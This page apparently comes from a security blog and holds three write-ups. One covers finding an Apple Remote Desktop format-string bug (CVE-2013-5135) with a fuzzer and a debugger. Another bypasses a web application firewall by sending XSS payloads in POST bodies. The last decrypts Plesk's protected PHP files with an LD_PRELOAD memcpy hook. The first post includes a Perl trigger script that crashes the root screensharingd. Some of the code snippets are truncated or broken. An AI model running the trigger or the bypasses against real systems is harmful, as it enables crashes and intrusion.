How did I find the Apple Remote Desktop bug? – CVE-2013-5135

Author: pz

Inspired by the Windows Remote Dektop bug (CVE-2012-0002) I created a simple  network protocol fuzzer. This is a dumb fuzzer that only changes every single byte value from 0 to 255:

import socket
import time
import struct
import string
import sys
init1 = (
"Sniffed network connection part 1"
init2 = (
"Sniffed network connection part 2"
init3= (
"Sniffed network connection part 3"
act = init3
print len(act)
for i in range(int(sys.argv[1]),len(act)):
	for j in range(0,256):
	        	hexa = string.atol(str(j))
        		buffer = struct.pack('<B',hexa)
			x = act[:i]+buffer+act[(i+len(buffer)):]
			s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
			connect=s.connect(('',5900)) # hardcoded IP address
			print str(i) + " " + str(j)
			s.send(init1) # send the data
			data = s.recv(1024)
			s.send(init2) # send the data
			data = s.recv(1024)
			s.send(x) # send the data
			data = s.recv(1024)
			j = j - 1

This approach may look especially dumb, since the Apple VNC protocol is encrypted and the changes made by the fuzzer on the bytes of the ciphertext would result in a disaster in the decrypted plaintext, but eventually this technique led to the discovery of the vulnerability. I ran this fuzzer and watched the log and the Crashreporter files. The /var/log/secure.log file contained the following lines:

Jan 14 14:52:14 computer screensharingd[26350]: Authentication: FAILED :: User Name: m?>H?iYiH3`'??

 The /Library/Log/DiagnosticsReports/ directory also contained a lot of crash files. This meant two things: I found some interesting bug right now and the screensharingd runs with root permissions (the directory above is for the crash files of the privileged processes). The Crashwrangler said this is an unexploitable crash but I don't trust this tool blindly ;)

Let's look at the crash in the debugger:

bash-3.2# while true;do for i in $( ps aux | grep -i screensharingd | grep -v grep | awk '{print $2}');do gdb --pid=$i;done;done<br />
GNU gdb 6.3.50-20050815 (Apple version gdb-1822) (Sun Aug  5 03:00:42 UTC 2012)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "x86_64-apple-darwin".No symbol table is loaded.  Use the "file" command.
/Users/depth/.gdbinit:2: Error in sourced command file:
No breakpoint number 1.
/Users/depth/30632: No such file or directory
Attaching to process 30632.
Reading symbols for shared libraries . done
Reading symbols for shared libraries .......................................................................................................................................... done
Reading symbols for shared libraries + done
0x00007fff89e8e67a in mach_msg_trap ()
(gdb) set follow-fork-mode child 
(gdb) c
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x0000000000000002
[Switching to process 30632 thread 0x2b03]
0x00007fff8e2a0321 in __vfprintf ()
(gdb) i reg
rax            0x2	2
rbx            0x10778ba5c	4420319836
rcx            0x37	55
rdx            0x10778a810	4420315152
rsi            0x7f9a22b00000	140299983650816
rdi            0x106926400	4405224448
rbp            0x10778aa40	0x10778aa40
rsp            0x10778a610	0x10778a610
r8             0x106926400	4405224448
r9             0x62	98
r10            0x1224892248900008	1307320572183576584
r11            0x10778aaa8	4420315816
r12            0xb	11
r13            0x38	56
r14            0x0	0
r15            0x6e	110
rip            0x7fff8e2a0321	0x7fff8e2a0321 <__vfprintf+3262>
eflags         0x10246	66118
cs             0x2b	43
ss             0x0	0
ds             0x0	0
es             0x0	0
fs             0x0	0
gs             0x0	0
(gdb) x/s $rbx
0x10778ba5c:	 " :: Viewer Address: :: Type: DH"

This is very interresting. I assumed "*printf" error meant a common buffer overflow or a format string attack. Let's see the problematic function:

(gdb) bt
#0  0x00007fff8e2a0321 in __vfprintf ()
#1  0x00007fff8e2ea270 in vasprintf_l ()
#2  0x00007fff8e2d9429 in asl_vlog ()
#3  0x00007fff8e27f7d4 in vsyslog ()
#4  0x00007fff8e27f879 in syslog () # Vulnerability here!
#5  0x00000001075484df in _mh_execute_header ()
#6  0x0000000107521892 in _mh_execute_header ()
#7  0x0000000107532657 in _mh_execute_header ()
#8  0x000000010752d7c1 in _mh_execute_header ()
#9  0x00007fff87c46ce6 in PrivateMPEntryPoint ()
#10 0x00007fff8e2ab8bf in _pthread_start ()
#11 0x00007fff8e2aeb75 in thread_start ()

I fired up IDA Pro and looked for the invalid authentication chain of the screensharingd binary. First I searched for the "FAILED" keyword in order to find the subroutine of interest:


But it turns out that he "Authentication FAILED" string leads us to the interesting part of code:


This string is referenced by the sub_1000322a8 function:


I followed the cross reference to the "Authentication : FAILED" string:


Yes, here is the critical part of the binary (DH authentication is the current one based on the secure.log file):


The subroutine creates the syslog message properly with format strings but before calling the syslog() function it does not sanitize the username field and the attacker can perform a format string attack. The easiest way to check this assumption is to try to authenticate using the RDP client:


And check the secure.log file:


 Great! :) This is a format string vulnerability in Apple Remote Desktop protocol. I spent a few days to investigate the vulnerability and write a working exploit with no success. The problems are:

  • null bytes in the memory addresses (64 bit architecture)
  • relative small buffer space (~2*64 bytes)
  • non executable stack

If you have any ideas on the exploitation of the issue, do not hesitate share them with me! To help you get started I wrote a simple trigger script:

# For ARD (Apple Remote Desktop) authentication you must also specify a username. 
# You must also install Crypt::GCrypt::MPI and Crypt::Random
# CVE: CVE-2013-5135
# Software: Apple Remote Desktop
# Vulnerable version: < 3.7
use Net::VNC;
$target = "";
$password = "B"x64; #max 64
$a = "A"x32; # max 64
$payload = $a."%28\$n"; # CrashWrangler output-> is_exploitable=yes:instruction_disassembly=mov    %ecx,(%rax):instruction_address=0x00007fff8e2a0321:access_type=write
print "Apple VNC Server @ $target\n";
print "Check the /var/log/secure.log file ;) \n";
$vnc = Net::VNC->new({hostname => $target, username => $payload, password => $password});

This was the whole story of CVE-2013-5135 from the beginning of 2013. Every bug hunting approach may be good way, so try something different than everybody else. Happy bug hunting!

WAF bypass made easy

Author: pz

In this post I will share my testing experiences about a web application protected by a web application firewall (WAF). The investigation of the parameters of web interfaces revealed that I can perform XSS attacks in some limited ways. The target implemented blacklist-based filtering that provided some HTML tag and event handler restriction. Since this restriction appeared at quite unusual places I suspected that there might be a WAF in front of the application. To verify my suspicion:

  • I tested the interfaces by random HTTP parameters which contained XSS payload. Most of the time a WAF checks all of the input parameters but the server side validation only checks the expected ones;
  • I used the Wafit tool.

These tests underpinned my assumption: there was indeed some application level firewall in front of my target.

In order to map the filter rules I created a list of HTML4 and HTML5 tags and event handlers based on the information of After this I could easily test the allowed tags and event handlers with Burp Suite Professional:

HTML eventsHTML events (click to enlarge)


HTML tags (click to enlarge)

Based on the results we can perform only some browser specific attacks typically against IE/6.0. However, many web applications handle parameters passed by GET and POST methods in the same way. I performed the tests again, now submitting the crafted parameters in the HTTP POST body and found that the WAF didn’t interrupt my request and the application processed my input through the same vulnerable code path. This way I could perform XSS without limitation and surprisingly was able to find an SQL injection issue also.

When you try implement a WAF in your infrastructure the most important key concepts are:

  • Know your system: Collect the applications and HTTP parameters to be protected and understand how they are used (data types, expected format, etc.);
  • Consult somebody with an offensive attitude (like a penetration tester) before you implement the defense;
  • Be aware of the limits of blacklist-based filtering;

Improper WAF implementation can lead to false sense of security that can result in more damage than operating applications with known security issues.

Plesk panel decryption

Author: pz

After I read the description of the Plesk vulnerability CVE-2012-1557 I decided to investigate the application a bit deeper. You can download a fully installed VMware image from the internet so you can skip the install and save some time. The PHP files which belong to the PLESK application are encrypted:

[root@localhost tmp]# cat /usr/local/psa/admin/htdocs/index.php
die(“The file {$_SERVER[‘SCRIPT_FILENAME’]} is part of Plesk 9 distribution. It cannot be run outside of Plesk 9 environment.\n”);

First of all I investigated the /usr/local/psa/bin/sw-engine-pleskrun executable which is a modified PHP interpreter:

[root@localhost ~]# /usr/local/psa/bin/sw-engine-pleskrun –help
Usage: sw-engine [options] [-f] [–] [args…]
sw-engine [options] -r [–] [args…]
sw-engine [options] [-B <begin_code>] -R [-E <end_code>] [–] [args…]
sw-engine [options] [-B <begin_code>] -F [-E <end_code>] [–] [args…]
sw-engine [options] — [args…]
sw-engine [options] -a

-a Run interactively
-c | Look for php.ini file in this directory
-n No php.ini file will be used
-d foo[=bar] Define INI entry foo with value ‘bar’
-e Generate extended information for debugger/profiler
-f Parse and execute .
-h This help
-i PHP information
-l Syntax check only (lint)
-m Show compiled in modules
-r Run PHP without using script tags
-B <begin_code> Run PHP <begin_code> before processing input lines
-R Run PHP for every input line
-F Parse and execute for every input line
-E <end_code> Run PHP <end_code> after processing all input lines
-H Hide any passed arguments from external tools.
-s Output HTML syntax highlighted source Output source with stripped comments and whitespace.
-z Load Zend extension .

args… Arguments passed to script. Use — args when first argument
starts with – or script is read from stdin

–ini Show configuration file names

–rf Show information about function .
–rc Show information about class .
–re Show information about extension .
–ri Show configuration for extension .

I tried to inspect the syscalls of the Plesk binary:

[root@localhost tmp]# strace ./sw-engine-pleskrun ../admin/htdocs/index.php
execve(“./sw-engine-pleskrun”, [“./sw-engine-pleskrun”, “../admin/htdocs/index.php”], [/* 23 vars */]) = 0
brk(0) = 0x8dc9000
getppid() = 17921
clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0xb77967e8) = 17923
waitpid(17923, DEBUGGER DETECTED… Bye!

I did a quick search for the error message in the binary:

[root@localhost tmp]# strings /usr/local/psa/bin/sw-engine-pleskrun | grep “DEBUGGER DETECTED”
[root@localhost tmp]#

Found nothing, so it seems that the sw-engine-pleskrun binary is just a framework executable and another one does the actual PHP processing. Let’s see which files are accessed by the binary:

[root@localhost tmp]# strings /usr/local/psa/bin/sw-engine-pleskrun | grep -i “/usr”

The sw-engine and the php-cli binaries seem to be good targets from the list above. When I ran the php-cli application I got the following message:

[root@localhost tmp]# /usr/local/psa/bin/php-cli /usr/local/psa/admin/htdocs/index.php
Failed loading /usr/lib/php/modules/ /usr/lib/php/modules/ cannot open shared object file: No such file or directory
The file /usr/local/psa/admin/htdocs/index.php is part of Plesk 9 distribution. It cannot be run outside of Plesk 9 environment.

Let’s see what our first contestant says when we ask it to parse an encrypted PHP file:

[root@localhost tmp]# /usr/bin/sw-engine /usr/local/psa/admin/htdocs/index.php

Fatal error: Call to undefined function get_gpc() in /usr/local/psa/admin/htdocs/index.php on line 2

Sounds good! Fire up the IDA Pro Disassembler and collect some starting information: Look for the plain strings from the encrypted PHP files in the binary (like “__sw_loader_pragma__(‘P’);”):


Let see which function references this string:


By deeper investigating the open_file_for_scanning() function you will see that the BF_decrypt() function constructs the executable PHP code:


For the quick and effective result – bypass the ptrace, debug the decrypt function, collect the crypto key, etc… – I used the following method:
The open_file_for_scanning() function uses memcpy() to construct the unencrypted PHP code. I created a shared library which redeclares the memcpy function, I used it with the LD_PRELOAD technique and voila, readable source code:


int i=0;

void *memcpy(void *dst,const void *src,size_t len){
  if((strstr(src,”);”) > 0) && (i==0)){
register char *src_c, *dst_c;
src_c = (char *)src;
dst_c = (char *)dst;

while (len– > 0)
  *dst_c++ = *src_c++;
return dst;

 Compile the shared library with the following commands:

[root@localhost ~]# gcc -fPIC -c ld.c -o ld.o
[root@localhost ~]# gcc -shared -o ld.o

Set up the LD_PRELOAD environment variable and get the PHP source code:

[root@localhost ~]# LD_PRELOAD=/tmp/ /usr/bin/sw-engine /usr/local/psa/admin/htdocs/login_up.php3

$login_name = rtrim(get_gpc(‘login_name’));
$passwd = get_gpc(‘passwd’);

if ($session->getType() != IS_UNDEFINED && !($login_name && $passwd))

if (!headers_sent())
header(‘X-Plesk: PSA-Key/’ . getKeyProp(‘plesk_key_id’));

$session_created = false;
$ssoAuthentication = null;

This method is far from perfect but it is easy, quick and the result is the plain source code. Happy bug hunting! ☺